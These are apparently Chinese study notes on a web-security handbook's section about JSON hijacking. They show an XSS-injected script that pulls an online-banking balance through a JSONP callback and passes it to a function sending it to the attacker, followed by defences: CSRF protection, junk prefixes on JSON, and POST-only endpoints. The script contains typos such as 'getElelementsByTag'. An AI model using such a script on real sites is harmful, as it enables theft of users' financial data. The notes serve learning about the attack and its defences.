黑客攻防技术宝典 — Notes 9.4 针对客户端的攻击 — JSON挟持

攻：

如果网银中的“显示余额”功能是用 Ajax + JSON 做的，就可以按照 XSRF 的方式窃取这个信息.

   1.用户登录网银了

   2.然后他去一个论坛

   3.论坛里有篇文章，其中有人利用XSS漏洞注入了一个脚本

        <script>

             var script = document.createElement("script");

             script.src = "http://…/查看我的余额.json?
callback=sendToAttacker";

             document.getElelementsByTag("head")[0].appendChild(script);

             function
sendToAttacker(jsonData){

                 //jsonData.余额

                 sendToMySite(jsonData.余额)

             }

            

        </script> 

   4.用户查看这篇文章，中标

============================================================

防：

  1.能防RF，就能防JSON挟持

  2.故意在JSON数据前面弄点乱七八糟的东西，这样就导致 script.scr=查看.json 出错，但浏览器拿到JSON时却不会出错

  3.使“查看余额.json”只支持POST